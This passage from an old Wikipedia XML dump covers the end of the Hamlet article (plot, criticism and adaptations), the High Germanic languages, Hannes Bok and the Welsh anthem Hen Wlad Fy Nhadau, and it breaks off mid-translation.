While waiting for the match to begin, Hamlet and Horatio jest with the diffirent fop Osric.  At the match Hamlet wins the first two rounds, and Gertrude drinks some of the wine to have a toast on him, unaware that it is poisoned. Hamlet is hit with the sword and fatally poisoned, but in the ensuing brawl, he swaps blades with Laertes, and deals a deep wound to Laertes with the poisoned sword as well. The Queen dies from the wine, and warns Hamlet that the drink is poisoned.  With his dying breath, Leartes also confesses the whole plot to Hamlet. Enraged, Hamlet kills Claudius with the poisoned weapon, forcing him also to drink the poisoned wine, at last avenging his father's death.

Horatio, horrified at the turn of events, seizes the poisoned wine and proposes to join his friend in death, but Hamlet wrests the cup away from him. He orders him to tell his story to the world to restore Hamlet's good name. Hamlet also recommends that the Norwegian prince, Fortinbras, be chosen as the successor to the Danish throne. Hamlet dies, and Horatio mourns his passing:

:&quot;Now cracks a noble heart: Good night sweet prince:
:And flights of angels sing thee to thy rest!&quot;
:      [Act V, scene II]

Fortinbras enters with English ambassadors. Shocked by the carnage, he orders a military funeral for Hamlet, whilst Horatio offers to relate the whole tale to him and the public.

==Hamlet as a Problem Play==

''Hamlet'' as a play is without doubt the most discussed play in the whole of Shakespeare's oeuvre, or, to quote from Harry Levin, &quot;the most problematic play ever written by Shakespeare or any other playwright&quot;.  Few will dispute that the body of criticism of the play is the most extensive in the history of world literature, and that almost every critic of note has had their say on the work.

==Hamlet as a character==  [[Image:Smoktun.jpg|thumb|[[Innokenty Smoktunovsky]] as Hamlet in the acclaimed 1964 film by [[Grigori Kozintsev]].]]
Like the play itself, Hamlet the character is possibly the most discussed and contentious character in the whole of world [[drama]] and indeed in the whole of [[Western literature]].  While conceding he is one of Shakespeare's greatest creations, critics are at odds over the inner motivations and [[psyche]] of this character.  His relationships with the various characters of the story, including his father, his uncle Claudius, his mother Gertrude and his beloved Ophelia, have all been subjected to multiple speculations, including modern [[psychology|psychological theories]].  Critics as varied as [[Goethe]], [[Coleridge]], [[Hegel]], [[August Wilhelm Schlegel|Schlegel]], [[Nietzsche]], [[Ivan Turgenev|Turgenev]],  [[Freud]], [[T. S. Eliot]], [[C.S. Lewis]], and [[Isaac Asimov|Asimov]] have written essays on him, all with their own special insights.  [[J. Dover Wilson]] produced one of the most influential readings of the first half of the 20th century; [[Harold Bloom]] was dominant in the second half.  Besides being Shakespeare's most demanding role (with over 1,400 lines), Hamlet is also the most introspective.  Actors have traditionally struggled with this role, and it can be safely said that any one performance can capture only some of the many facets of the creation. This, however, has made the role of Hamlet to be one of the most desired roles in theatre.

The plot summary above presents perhaps the simplest view of Hamlet, as a person seeking truth in order to be certain that he is justified in carrying out the revenge called for by a ghost that claims to be the spirit of his father. The most standard view is that Hamlet is highly indecisive, which is the view as proposed by [[Coleridge]] and a number of other critics. &quot;Shakespeare wished to impress upon us the truth, that action is the chief end to existence&quot;. The [[1948]] movie with [[Laurence Olivier]] in the title role is introduced by a voiceover: &quot;This is a story of a man who could not make up his mind.&quot;

Others see Hamlet as a person charged to carry out a duty that he both knows and feels is right, yet is unwilling to. In this view, all of his efforts to satisfy himself of King Claudius' guilt or his failure to act when he can are evidence of this unwillingness, and Hamlet berates himself for his inability to carry out his task. After observing a play-actor performing a scene, he notes that the actor was moved to tears in the passion of the story and compares this passion for an ancient Greek character, [[The Trojan Women|Hecuba]], in light of his own situation:

:&quot;O, what a rogue and peasant slave am I!
:Is it not monstrous that this player here,
:But in a fiction, in a dream of passion,
:Could force his soul so to his own conceit
:That from her working all his visage wan'd;
:Tears in his eyes, distraction in's aspect,
:A broken voice, and his whole function suiting
:With forms to his conceit? And all for nothing!
:For Hecuba?
:What's Hecuba to him, or he to Hecuba,
:That he should weep for her?&quot; [...]

And he acknowledges to himself the terrible deed he must avenge, yet responds only with words:

:&quot;Yet I,
:A dull and muddy-mettled rascal, peak,
:Like John-a-dreams, unpregnant of my cause,
:And can say nothing; no, not for a king
:Upon whose property and most dear life
:A damn'd defeat was made. Am I a coward?
:  [...]
:But I am pigeon-liver'd, and lack gall
:  [...]
:Why, what an ass am I! This is most brave,
:That I, the son of a dear father murder'd,
:Prompted to my revenge by heaven and hell,
:Must, like a whore, unpack my heart with words&quot;
:      [Act II, sc. ii]

Hamlet's verbose and painful analyses of his situation and actions encourage many others to see his struggle as something far more existential in nature, having less to do with the revenge drama than with the human condition.

:&quot;The time is out of joint: Oh cursed spite,
:That ever I was born to set it right.&quot;
:       [Act I, sc. v]

Another view of Hamlet, advanced by [[Isaac Asimov]] in his ''Guide to Shakespeare'', holds that his actions are attributable not to indecision, but to multiple motivations: his desire to avenge the wrong done to his father, coupled with his own ambition to succeed to the throne. The tragic error committed by Hamlet, in Asimov's view, is his overreaching wish to see Claudius damned, and not merely dead, which prevents him from killing Claudius at the opportune moment.

Hamlet's hesitations may also be rooted in the religious beliefs of Shakespeare's time. The [[Reformation]] had generated debate about the existence of [[purgatory]] (where King Hamlet claims he currently resides). The concept of purgatory is a [[Catholic]] one, and was frowned on in [[Protestantism|Protestant]] England. A devout Protestant might therefore presume the Ghost to be a spirit from [[Hell]] that must be ignored.

==Performances and adaptations==
===''Hamlet'' in cinema and TV===
According to the [[Internet Movie Database]] there have been [http://us.imdb.com/Tsearch?title=hamlet&amp;restrict=Movies+and+TV 22 theatrically released movies] entitled ''Hamlet'', plus another 16 made for TV. Another 50 productions have included this name as part of the title or have used a foreign language variation of the name. See also [[Shakespeare on screen#Hamlet|Shakespeare on screen (Hamlet)]].

====Straight adaptations====

*The first ''Hamlet'' film was ''Le Duel d'Hamlet'', produced and directed by [[Clément Maurice]] in France in [[1900]], and starring [[Sarah Bernhardt]] as Hamlet (reprising her stage role). [[Pierre Magnier]] played Laertes.
*The DVD collection ''[[Silent Shakespeare]]'' is an anthology of early silent Shakespeare shorts, and includes a scene from ''Hamlet''.
*''[[Hamlet (1948 film)|Hamlet]]'' ([[1948]]), directed by and starring [[Laurence Olivier]]. The cast includes [[Patrick Troughton]] as the Player King, [[Eileen Herlie]] as Gertrude, [[Stanley Holloway]] as the gravedigger, [[Peter Cushing]] as Osric, [[Felix Aylmer]] as Polonius, [[Terence Morgan]] as Laertes, [[John Gielgud]] as the uncredited voice of the ghost, and [[Christopher Lee]] as an uncredited [[spear carrier]].
**Received four [[Academy Award]]s:
***Best Picture - [[Laurence Olivier]], producer
***Best Actor - [[Laurence Olivier]] as Hamlet
***Best Costume Design (Black and White) - [[Roger K. Furse]]
***Best Art Direction and Set Decoration (Black and White) - [[Carmen Dillon]] and Roger K. Furse
**It was nominated for a further three awards
***Best Director - [[Laurence Olivier]]
***Best Supporting Actress - [[Jean Simmons]] as [[Ophelia (character)|Ophelia]]
***Best Music Score - [[William Walton]]
* [[The Bad Sleep Well]] ([[1960]]). This [[Japan]]ese movie, directed by [[Akira Kurosawa]] is inspired by Hamlet, set in post-war Japan.
*''[[Hamlet (1960 television)|Hamlet]]'' ([[1960]]), directed by [[Franz Peter Wirth]]. This is a German television production. Hamlet is played by [[Maximilian Schell]]. The English dubbing of King Claudius is by [[Ricardo Montalban]] and Polonius by [[John Banner]] The extremely low quality of the production, along with the English over-dubbing, has earned this version a reputation as one of the poorest adaptations of the play. This is illustrated by its use in a [[Mystery Science Theater 3000 episodes|10th-season episode]] of [[Mystery Science Theater 3000]].
*''[[Hamlet (1964 film)|Hamlet]]'' ([[1964]]), directed by [[Grigori Kozintsev]]. Hamlet is played by [[Innokenty Smoktunovsky]], Claudius by [[Mikhail Nazvanov]], and Ophelia by [[Anastasiya Vertinskaya]].
*''[[Hamlet (1969 film)|Hamlet]]'' ([[1969]]), directed by [[Tony Richardson]]. Hamlet is played by [[Nicol Williamson]], Claudius by [[Anthony Hopkins]], and Ophelia by [[Marianne Faithfull]]
*''[http://www.sinematurk.com/ara.php3?kod=1276&amp;section=film Angel of Revenge/Female Hamlet]'' ([[1976]]), a [[Turkey|Turkish]] movie directed by Metin Erksan. Hamlet, as a female character, is played by the actress Fatma Girik. The setting is updated to a Turkish village.
*''[[Hamlet (1990 film)|Hamlet]]'', directed by [[Franco Zeffirelli]] ([[1990]]). Hamlet is played by [[Mel Gibson]], Gertrude by [[Glenn Close]], Polonius by [[Ian Holm]], and Ophelia by [[Helena Bonham Carter]]
*''[[The Lion King]]'' ([[1994]]) is an adaptation of Shakespeare's Hamlet, with [[Simba]] as Hamlet, King Mufasa as Hamlet's father who becomes a ghost, Scar as Claudius, and Timon and Pumbaa as Rosencrantz and Guildenstern. However, the adaptation is loose rather than a direct adaptation. While the film maintains the themes of the play there are notable differences chief among them, it ends on a happy note. 
*''[[Hamlet (1996 film)|Hamlet]]'' ([[1996]]), directed by and starring [[Kenneth Branagh]]. This is a &quot;full text&quot; version, which is over 4 hours in length. The setting is updated to the [[19th century]]. Claudius is played by [[Derek Jacobi]], Gertrude by [[Julie Christie]], and Ophelia by [[Kate Winslet]].
*''[[Hamlet (2000 film)|Hamlet]]'', directed by [[Michael Almereyda]] ([[2000]]). The setting is updated to modern [[Manhattan]]. Hamlet is played by [[Ethan Hawke]], Polonius by [[Bill Murray]], and Ophelia by [[Julia Stiles]].

====Films that reference ''Hamlet''====

Note: a number of films have also used lines from Hamlet's soliloquy as film titles.  See [[To be, or not to be]] for a list of these films.

*''[[A King in New York]]'' ([[1957]]), directed by [[Charlie Chaplin]] includes a scene in which Chaplin recites the &quot;to be or not to be&quot; speech, and is arguably on a par with other famous renditions.
*[[Tom Stoppard]]'s popular play and movie ''[[Rosencrantz and Guildenstern are Dead]]'' depicts the two title characters contemplating their roles as minor players in a bigger drama. Occasional scenes are taken directly from ''Hamlet''. 
*[[Tom Stoppard]] also has a short entitled ''[[The Fifteen Minute Hamlet]]'' which includes Philip Seymour Hoffman in the cast. The fifteen minute version is followed by an even shorter version.
*''Hamlet Goes Business'' (Hamlet liikemaailmassa) ([[1987]]) by [[Aki Kaurismäki]] is a comic reworking of the story as a power struggle in a rubber duck factory. 
*Episode 43 of ''[[Monty Python's Flying Circus]]'' ([[1974]]) is entitled ''Hamlet''.
*The comedy ''[[Strange Brew]]'' ([[1983]]) is loosely based on ''Hamlet''. Among other jokes, scenes takes place at Elsinore Brewery.
*The ''[[Star Trek VI: The Undiscovered Country]]'' (1991) character General Chang, a [[Klingon]] officer, was a Shakespeare aficionado, and opined that Shakespearian works were best experienced in the &quot;original&quot; [[Klingon language|Klingon]].  Indeed, Klingonists Nick Nicholas and Andrew Strader published a Klingon translation of Hamlet in 1996.  The Klingon version of the famous quote, which Chang recites in the film, is ''taH pagh taHbe''.
*''Hamlet'' features strongly in the film [[Renaissance Man]], in which [[Danny De Vito|Danny DeVito]]'s character uses its plot and characters to introduce a group of under-achieving soldiers to critical thinking.
*''[[The Simpsons]]'' offered a shortened version of ''Hamlet'' in the episode &quot;[[Tales from the Public Domain]]&quot;.
*''[[The Brak Show]]'' referenced the basic plot of Hamlet in the episode &quot;Braklet, Prince of Spaceland&quot;. In the episode, Brak's father is killed by [[Zorak]], who also hypnotizes Brak's mother into believing that the two are married. Brak's father appears as a ghost, and informs [[Brak]] what has happened. Brak goes insane and makes a movie of the murder, which he shows to Zorak.
*The action movie and comedy film [[Last Action Hero]] starts with [[Arnold Schwarzenegger]] starring  in the advert of a (fictional) [[Rambo]]-like action movie that is an adaptation of Hamlet.
*There was an episode of [[South Park]] in which Terrance and Philip's professional relationship failed, resulting in one of them moving to Canada to become a Shakespearean actor, subsequently performing Hamlet with other Canadian actors, with the ending of the play being shown in the episode.
*Egyptian director [[Youssef Chahine]] frequently cites from ''Hamlet'' in his films. His films ''Alexandria.. Why?'' (1978) and ''Alexandria.. New York''(2004) feature performances of soliliquies. In ''Alexandria Again and Forever'' (1990) Hamlet appears as a film within the film.
*Princess Diaries Two:The Royal Engagement. Lily, the Princess Mia's best friend refers to Mia's two chambermaids as &quot;Rosencrantz&quot; and &quot;Guildenstern&quot;

===''Hamlet'' in music===

At least 26 operas have been written based on Hamlet, including:

* Ambleto, by [[Francesco Gasparini]] (1706)
* Ambleto, by [[Domenico Scarlatti]] (1715)
* Amleto, by [[Gaetano Andreozzi]] (1792)
* Amleto, by [[Franco Faccio]] (libretto by [[Arrigo Boito]]) (1865)
* Hamlet, by [[Ambroise Thomas]] (1868)
* Hamlet, by [[Humphrey Searle]] (1968)
* Hamlet (?), by [[Sandor Szokolay]] (year?) 

Instrumental works based on Hamlet include:

* [[Nocturne]] in G Minor, Opus 15 No. 3 by [[Frédéric Chopin]], inspired by Hamlet
* ''Hamlet'' (1858), symphonic poem by [[Franz Liszt]]
* ''Hamlet'' and ''Ophelia'', symphonic poems by [[Edward MacDowell]]
* ''Hamlet'' (1888), fantasy overture Op. 67 in f Minor by [[Pyotr Ilyich Tchaikovsky]]
*''Hamlet'', the score for the 1963 film, by [[Dmitri Shostakovich]].

Contemporary popular music includes:

* ''What a Piece of Work is Man'' from the [[1967]] musical ''[[Hair (musical)|Hair]]'' is Hamlet's speech from act 2 scene 2 set to music.
* The [[Dream Theater]] song [[Pull Me Under]] is influenced by, and makes reference to, [[Hamlet]].
* [[Lou Reed]]'s song ''&quot;Goodnight Ladies&quot;'', from his [[1972]] album ''[[Transformer (album)|Transformer]]'', uses a line from Ophelia's mad speech (Act 4, Scene 5) as its chorus.
* [[Darling Violetta]]'s song ''Ophelia'', from the band's debut album ''Bath-Water-Flowers'', references Ophelia's death/suicide.

==External links==
{{wikisourcepar|The Tragedy of Hamlet, Prince of Denmark}}
{{wikiquote}}
{{wikibooks}}
{{commonscat|Hamlet}}
* [http://en.wikisource.org/wiki/Hamlet's_soliloquy Wikisource - Hamlet's soliloquy]
* {{gutenberg|no=2265|name=Hamlet}}
* {{gutenberg|no=9077|name=the 'Bad Quarto' version of Hamlet}}
* [http://www.asksam.com/ebooks/Shakespeare/Hamlet.asp Search and analyze the text of Hamlet on-line or in a downloadable eBook]
* [http://sciencesoft.at/index.jsp?link=literature&amp;book=Hamlet&amp;lang=en Hamlet] - HTML/XML version, including search function
* [http://william-shakespeare.classic-literature.co.uk/the-tragedie-of-hamlet/ The Tragedie of Hamlet] - HTML version of this title.
* [http://shea.mit.edu/ramparts Hamlet on the Ramparts] - from [[Massachusetts Institute of Technology|MIT]]'s Shakespeare Electronic Archive
* [http://www.leoyan.com/global-language.com/ENFOLDED/ Hamletworks.org] Multiple versions of Hamlet, numerous commentaries, concordances, facsimiles, etc.
* [http://www.switzersguide.com The Switzer's Guide to Hamlet] An Extra's view of the Royal Shakespeare Company's 2004 production of Hamlet with Toby Stephens in the title role
* [http://www.slashdoc.com/tag/hamlet.html Slashdoc : Hamlet] Scholarly essays on Shakespeare's Hamlet
* [http://monster-island.org/tinashumor/humor/anagrams.html Hamlet Anagram by Cory Calhoun - Anagram of the 1st three lines of the 'To Be or Not Be' soliloquy]
* [http://uninteresting.myby.co.uk/noeffort/hamlet.htm Tales for the Leet: Hamlet] - A humorous flash version of Hamlet, done in [[leet|leetspeak]]
 
{{Shakespeare}}
[[Category:English Renaissance plays]]
[[Category:Shakespearean tragedies]]

[[ar:هاملت]]
[[bs:Hamlet]]
[[da:Hamlet]]
[[de:Hamlet]]
[[es:Hamlet]]
[[eo:Hamleto]]
[[fr:Hamlet]]
[[he:המלט]]
[[it:Amleto (Shakespeare)]]
[[nl:Hamlet]]
[[ja:ハムレット]]
[[la:Amletus, Princeps Daniae]]
[[no:Hamlet]]
[[pl:Hamlet]]
[[pt:Hamlet]]
[[ru:Гамлет]]
[[simple:Hamlet]]
[[sl:Hamlet]]
[[fi:Hamlet]]
[[sv:Hamlet]]
[[zh:哈姆雷特]]</text>
    </revision>
  </page>
  <page>
    <title>High Germanic languages</title>
    <id>13555</id>
    <revision>
      <id>40013832</id>
      <timestamp>2006-02-17T14:26:02Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>rm sp in lnk</comment>
      <text xml:space="preserve">{{Infobox Language family
  |name=High Germanic
  |region=predominantly central and southern [[Germany]], northern and central [[Switzerland]], and [[Austria]]
  |familycolor=Indo-European
  |fam1=[[Indo-European languages|Indo-European]]
  |fam2=[[Germanic languages|Germanic]]
  |fam3=[[West Germanic languages|West Germanic]]
  |child1=[[German language|Standard German]]
  |child2=[[Yiddish language|Yiddish]]
  |child3=[[Central German]]
  |child4=[[Upper German]]
}}

The '''High Germanic languages''' (in [[German language|German]], ''Hochdeutsch'') are any of the [[variety (linguistics)|varieties]] of [[German language|standard German]] and [[Yiddish language|Yiddish]] as well as the local German [[dialect]]s spoken in central and southern [[Germany]], in [[Austria]], in [[Liechtenstein]], in [[Switzerland]], in [[Luxembourg]] and in neighbouring portions of [[Belgium]], [[France]] ([[Alsace]]), [[Italy]] and [[Poland]]. It is also spoken in former colonial settlements, for instance in [[Romania]] (''[[Transylvania]]''), [[Russia]], [[USA]] or [[Namibia]].

&quot;High&quot; refers to the [[mountain]]ous areas of central and southern Germany and the [[Alps]], as opposed to the [[Low Germanic languages]] spoken along the flat sea coasts of the north. High Germanic can be subdivided into [[Upper German]] and [[Central German]] (''Oberdeutsch, Mitteldeutsch'').

The German term ''Hochdeutsch'' is also used loosely, but not by linguists, to mean [[German language|standard written German]] as opposed to dialect, because the standard language developed out of High rather than Low Germanic.  This is based on a misunderstanding, and the attempt to rationalise it by suggesting that &quot;high&quot; means &quot;official&quot; doesn't solve the problem. In English, &quot;High Germanic&quot; has never been used to mean &quot;Standard German&quot;.

==History==
High Germanic as used in Southern Germany, Bavaria and Austria was an important basis for the development of standard German.

The historical forms of the language are [[Old High German]] and [[Middle High German]].

==Classification==
High Germanic are distinguished from other Western Germanic varieties in that they took part in the [[High German consonant shift]] (c. AD 500).
To see this, compare German ''Pfanne'' with [[English language|English]] ''pan'' ({{IPA|[pf]}} to {{IPA|[p]}}), German ''zwei'' with English ''two'' ({{IPA|[ts]}} to {{IPA|[t]}}), German ''machen'' with English ''make'' ({{IPA|[x]}} to {{IPA|[k]}}).
In the [[Alemannic German|High Alemannic dialects]], there is a further shift; ''Sack'' (like English &quot;sack&quot;) is pronounced {{IPA|[z&amp;#805;akx]}} ({{IPA|[k]}} to {{IPA|[kx]}}).

==Family tree==
Note that divisions between subfamilies of Germanic are rarely precisely defined; most form continuous clines, with adjacent [[dialect]]s being mutually intelligible and more separated ones not. In particular, there never has been an original &quot;[[Proto-language|Proto-High German]]&quot;.

* [[Central German]] (German: ''Mitteldeutsch'')
** [[East Central German]]
*** [[Berlin Brandenburgish]] (mostly in [[Berlin]] and [[Brandenburg]]) 
*** [[Thuringian Upper Saxon]] (mostly in [[Thuringia]], [[Saxony-Anhalt]] and [[Saxony]])
*** [[German Lusatian]] (in Saxony and Brandenburg)
*** [[Lower Silesian German|Lower Silesian]] (mostly in [[Lower Silesia]], in [[Poland]])
** [[Transylvanian Saxon language|Transylvanian Saxon]] (in [[Transylvania]])
** [[West Central German]] 
*** ''Middle Franconian''
****''[[Ripuarian Franconian]]'' 
**** [[Moselle Franconian]] 
*** ''[[Rhine Franconian]]''
**** [[Lorrainian German]] (France)
**** [[Pfälzisch language]]
**** [[Hessian dialect]] 
** Transition area between ''Central German'' and ''Upper German''
*** [[East Franconian German]]
*** [[South Franconian German]]
** [[Pennsylvania German language|Pennsylvania German]] (in the [[United States]] and [[Canada]])
* [[Upper German]] (German: ''Oberdeutsch'')
** [[Alemannic German|Alemannic]]
*** [[Swabian German|Swabian]]
*** [[Low Alemannic German|Low Alemannic]] (including [[Swiss German]] dialects)
*** [[Alsatian language]]
*** [[High Alemannic German|High Alemannic]] (including many [[Swiss German]] dialects)
*** [[Highest Alemannic German|Highest Alemannic]] (including [[Swiss German]] dialects)
** [[Austro-Bavarian German|Austro-Bavarian]] (''On the use of dialects and Standard German in Austria, see [[Austrian language]]'')
***[[Northern Austro-Bavarian]] (spoken in [[Upper Palatinate]])
***[[Central Austro-Bavarian]] (includes the dialects of [[Upper Bavaria]], [[Lower Bavaria]], [[Upper Austria]], [[Lower Austria]] and [[Vienna]] &amp;mdash; ''see'' [[Viennese language]])
***[[Southern Austro-Bavarian]] (includes the dialects of [[Tyrol]], [[Carinthia (state)|Carinthia]] and [[Styria (state)|Styria]])
*** [[Cimbrian language|Cimbrian]] (northeastern [[Italy]])
*** [[Mócheno]] ([[Trentino]], in Italy)
*** [[Hutterite German]] (in [[Canada]] and the [[United States]])
*[[Yiddish language|Yiddish]]
**Western Yiddish ([[Germany]], [[France]])
**Eastern Yiddish
***Northeastern Yiddish ([[Lithuania]], [[Latvia]], [[Belarus]], [[Russia]], northeastern [[Poland]])
***Central Yiddish ([[Poland]], [[Galicia (Central Europe)|Galicia]])
***Southeastern Yiddish ([[Ukraine]], [[Bessarabia]], [[Romania]])

== External links ==
* [http://members.tripod.com/~radde/Mundarten.html German dialects of today] (in German)

[[Category:High Germanic languages|High Germanic languages]]
[[Category:West Germanic languages]]

[[bg:&amp;#1043;&amp;#1086;&amp;#1088;&amp;#1085;&amp;#1086;&amp;#1075;&amp;#1077;&amp;#1088;&amp;#1084;&amp;#1072;&amp;#1085;&amp;#1089;&amp;#1082;&amp;#1080; &amp;#1077;&amp;#1079;&amp;#1080;&amp;#1094;&amp;#1080;]]
[[de:Hochdeutsch]]
[[nl:Hoogduits]]</text>
    </revision>
  </page>
  <page>
    <title>Helen of Troy</title>
    <id>13556</id>
    <revision>
      <id>15911155</id>
      <timestamp>2004-09-28T05:43:40Z</timestamp>
      <contributor>
        <username>Montrealais</username>
        <id>3378</id>
      </contributor>
      <text xml:space="preserve">#redirect [[Helen]]</text>
    </revision>
  </page>
  <page>
    <title>Hyperreal numbers</title>
    <id>13558</id>
    <revision>
      <id>15911157</id>
      <timestamp>2002-05-05T15:49:46Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <comment>#redirect [[Hyperreal number]]</comment>
      <text xml:space="preserve">#redirect [[Hyperreal number]]
</text>
    </revision>
  </page>
  <page>
    <title>Hannes Bok</title>
    <id>13560</id>
    <revision>
      <id>36703442</id>
      <timestamp>2006-01-25T22:27:07Z</timestamp>
      <contributor>
        <username>Pepso</username>
        <id>266943</id>
      </contributor>
      <comment>Pic</comment>
      <text xml:space="preserve">[[Image:Bokfsf.jpg|right|thumb|400px]]
'''Hannes Bok''', pseudonym for '''Wayne Woodard''' ([[July 2]], [[1914]]-[[April 11]], [[1964]]), was an American illustrator and writer of fantasy fiction. His illustrations mainly appeared on the covers of [[science fiction]] novels and such magazines as [[If (magazine)|If]], [[Weird Tales]], [[Other Worlds (magazine)|Other Worlds]], Fantasy Fiction, Imagination, [[Castle of Frankenstein]], [[Planet Stories]] and [[The Magazine of Fantasy and Science Fiction]]. 

He was born  in [[Duluth, Minnesota]] as Wayne Woodard, though occasionally the more common surname name &quot;Woodward&quot; is applied to him. The pseudonym derives from [[Johann Sebastian Bach]] (whose name can be rendered both as &quot;Johann S. Bach&quot; and &quot;Johannes Bach&quot;). His early career was assisted by [[Ray Bradbury]]; he corresponded with [[Maxfield Parrish]].
 
He is most famously known for his novels ''Sorcerer's Ship'' and ''Beyond the Golden Stair'', both included in the [[Ballantine Adult Fantasy series]]. His striking wraparound cover for the [[November]] [[1963]] issue of [[The_Magazine_of_Fantasy_&amp;_Science_Fiction|F&amp;SF]], illustrating [[Roger Zelazny|Roger Zelazny's]] ''[[A Rose For Ecclesiastes]]'', was published in the last months of his life.

A member of the [[Futurians]], Bok won the debut [[Hugo Award]] for [[Hugo_Award_for_Best_Professional_Artist|Best Cover/Professional Artist]] in [[1953]]. His work was collected in ''A Hannes Bok Treasury'' (1993) and ''A Hannes Bok Showcase'' (1995).

==External resources==

* {{isfdb name|id=Hannes_Bok|name=Hannes Bok}}

{{US-writer-stub}}

[[Category:1914 births|Bok, Hannes]]
[[Category:1964 deaths|Bok, Hannes]]
[[Category:American illustrators|Bok, Hannes]]
[[Category:American science fiction writers|Bok, Hannes]]
[[Category:Fantasy artists|Bok, Hannes]]
[[Category:Fantasy writers|Bok, Hannes]]
[[Category:Pseudonyms|Bok, Hannes]]
[[Category:Science fiction artists|Bok, Hannes]]</text>
    </revision>
  </page>
  <page>
    <title>Hen Wlad Fy Nhadau</title>
    <id>13561</id>
    <revision>
      <id>41759287</id>
      <timestamp>2006-03-01T15:17:26Z</timestamp>
      <contributor>
        <ip>81.104.169.57</ip>
      </contributor>
      <comment>/* Hen Wlad Fy Nhadau */</comment>
      <text xml:space="preserve">'''&quot;Hen Wlad Fy Nhadau&quot;''' ([[International Phonetic Alphabet|pronounced]] /{{IPA|h&amp;#603;:n wla:d vən'ha:daɪ}}/, usually translated as ''The Land of My Fathers'', but literally ''old country of my fathers'') is by tradition the [[national anthem]] of [[Wales]]. The words were written by [[Evan James]] and the tune composed by his son, [[James James]], both residents of [[Pontypridd]], [[Glamorgan]], in January [[1856]]. The earliest written copy survives and is part of the collections of the [[National Library of Wales]].

==Glan Rhondda==
The song &amp;ndash; ''Glan Rhondda'' (Banks of the river Rhondda) as it was known when first composed &amp;ndash; was performed for the first time in the vestry of Capel Tabor chapel, [[Maesteg]], in either January or February 1856, by a singer called Elizabeth John from Pontypridd, and it soon became popular in the locality.

==Popularity==
The popularity of the song increased after the [[Llangollen]] [[Eisteddfod]] of 1858. Thomas Llewelyn of [[Aberdare]] won a competition for an unpublished collection of Welsh airs with a collection that included ''Glan Rhondda''. The adjudicator of the competition, Owain Alaw (John Owen, 1821-1883) asked for permission to include ''Glan Rhondda'' in his publication, ''Gems of Welsh melody'' (1860-64). This volume gave ''Glan Rhondda'' its more famous title, ''Hen wlad fy nhadau'', and was sold in large quantities and ensured the popularity of the national anthem across the whole of Wales.

At the [[Bangor, Wales|Bangor]] [[Eisteddfod]] of 1874 ''Hen Wlad fy Nhadau'' gained further popularity when it was sung by [[Robert Rees]] (Eos Morlais), one of the leading Welsh soloists of his day. It was increasingly sung at patriotic gatherings and gradually it developed into a national anthem.

==First recorded Welsh-language song==
''Hen wlad fy nhadau'' was also one of the first [[Welsh language|Welsh]] songs recorded when Madge Breese sang it on [[11 March]] [[1899]], for the Gramophone Company. This was the first recording in the [[Welsh language]].

==National anthem==
Though it has no official or legal status, ''Hen Wlad Fy Nhadau'' is recognised and used as an anthem at both national and local events in Wales. Usually this will be the only anthem sung, such as at national sporting events, and it will be sung only in Welsh using the first stanza and refrain. But on some official occasions, especially those with royal connections, it is used in conjunction with the state anthem of the [[United Kingdom]], ''[[God Save the Queen]]''.

The existence of a separate national anthem for Wales has not always been apparent to those from outside the country. In [[1993]] the newly-appointed [[Secretary of State for Wales]] [[John Redwood]] was embarrassingly videotaped trying to guess the words during a communal singing of the national anthem, clearly unaware of them; the pictures were frequently cited as evidence of his unsuitability for the post.  According to [[John Major]]'s autobiography, the first thing his successor [[William Hague]] said, on being appointed, was that he had better find someone to teach him the words.  He found [[Ffion Jenkins]], and later married her.

Versions of ''Hen Wlad fy Nhadau'' are used as anthems in both [[Cornwall]], as ''[[Bro Goth Agan Tasow]]'', and [[Brittany]], as ''[[Bro Goz ma Zadoù]]''.

==Lyrics==

===Hen Wlad Fy Nhadau===

Mae hen wlad fy nhadau yn annwyl i mi,&lt;br&gt;
Gwlad beirdd a chantorion, enwogion o fri;&lt;br&gt;
Ei gwrol ryfelwyr, gwladgarwyr tra mâd,&lt;br&gt;
Dros ryddid collasant eu gwaed.

:Gwlad, gwlad, pleidiol wyf i'm gwlad.&lt;br&gt;
:Tra môr yn fur i'r bur hoff bau,&lt;br&gt;
:O bydded i'r hen iaith barhau.&lt;br&gt;

Hen Gymru fynyddig, paradwys y bardd,&lt;br&gt;
Pob dyffryn, pob clogwyn i'm golwg sydd hardd;&lt;br&gt;
Trwy deimlad gwladgarol, mor swynol yw si&lt;br&gt;
Ei nentydd, afonydd, i mi.

Os treisiodd y gelyn fy ngwlad tan ei droed,&lt;br&gt;
Mae hen iaith y Cymry mor fyw ag erioed,&lt;br&gt;
Ni luddiwyd yr awen gan erchyll law brad,&lt;br&gt;
Na thelyn berseiniol fy ngwlad.&lt;br&gt;

== Translation ==

===Land Of My Fathers===

O land of my fathers, O land of my love,&lt;br&gt;
Dear mother of minstrels who kindle and move,&lt;br&gt;
And hero on hero, who at honour's proud call,&lt;br&gt;
For freedom their lifeblood let fall.

:Wales! Wales! O but my heart is with you!
:And long as the sea
:Your bulwark shall be,
:To Wales my heart shall be true. 

O land of the mountains, the bard's paradise,&lt;br&gt;
Whose precipice, valleys lone as the skies,&lt;br&gt;
Green murmuring forest, far echoing flood&lt;br&gt;
Fire the fancy and quicken the blood.

For tho' the fierce foeman has ravaged your realm,&lt;br&gt;
The old speech of Wales he cannot o'erwhelm,&lt;br&gt;
Our passionate poets to silence command&lt;br&gt;
Or banish the harp from your strand.

''The above is a fairly free translation in verse.''  
''A more literal translation would be:''

&lt;!-- ===The Old Land Of My Fathers===

The old land of my fathers is dear to me,&lt;br&gt;
Land of poets and singers, famous men of renown;&lt;br&gt;
Her brave warriors, very splendid patriots,&lt;br&gt;
For freedom shed their blood.

:Nation [or country], Nation, I am partial to my Nation.
:While the sea [is] a wall to the pure, most loved region,
:O may the old language [''sc.'' Cymraeg] endure.

Old mountainous Wales, paradise of the bard,&lt;br&gt;
Every valley, every cliff, to me is beautiful.&lt;br&gt;
Through patriotic feeling, so charming is the murmur&lt;br&gt;
Of her brooks, rivers, to me.

If the enemy oppresses my land under his foot, &lt;br&gt;
The old language of the Welsh is as alive as ever.&lt;br&gt;
The muse is not hindered by the hideous hand of treason,&lt;br&gt;
Nor [is] the melodious harp of my country.


''Another possible translation is:''

--&gt;===The Land Of My Fathers===

The land of my fathers is dear unto me,&lt;br&gt;
Old land where the minstrels are honored and free;&lt;br&gt;
Its warring defenders so gallant and brave,&lt;br&gt;
For freedom their life's blood they gave.

:Home, home, true am I to home,
